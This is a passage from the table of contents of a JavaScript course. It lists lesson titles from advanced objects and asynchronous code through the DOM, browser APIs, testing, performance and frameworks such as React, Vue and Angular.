- Object Destructuring, Spread and Rest
- JSON and Copying Objects
Module 5: Advanced Objects and Functions
- Prototypes and Inheritance
- Classes and Object-Oriented Programming
- Encapsulation: Getters, Setters and Private Fields
- Modules: Import and Export
- Asynchronous JavaScript: Callbacks
- Promises and Async/Await
- The Event Loop and the Microtask Queue
- Iterators and Generators
Module 6: The Document Object Model (DOM)
- Introduction to the DOM
- Selecting and Manipulating DOM Elements
- Handling Events
- Propagation, Delegation and Custom Events
- Creating and Removing DOM Elements
- Rendering Lists and HTML Templates
- Handling and Validating Forms
Module 7: Browser APIs and Advanced Topics
- Local and Session Storage
- The Fetch API and AJAX
- Robust Requests: Errors, Timeouts and AbortController
- WebSockets
- Service Workers and Progressive Web Apps (PWAs)
- Essential Browser APIs
- Introduction to WebAssembly
Module 8: Testing and Debugging
- Debugging JavaScript
- Code Quality: ESLint, Prettier and Conventions
- Unit Testing with Jest
- Test Doubles: Mocks, Stubs and Spies
- Integration Testing
- End-to-End Testing with Cypress
Module 9: Performance and Optimization
- Measure Before You Optimize: DevTools and Web Vitals
- Optimizing JavaScript Performance
- Memory Management
- Efficient DOM Manipulation
- Lazy Loading and Code Splitting
Module 10: JavaScript Frameworks and Libraries
- Why Frameworks Exist
- Introduction to React
- State Management with Redux
- Vue.js Basics
- Angular Basics
- Choosing the Right Framework
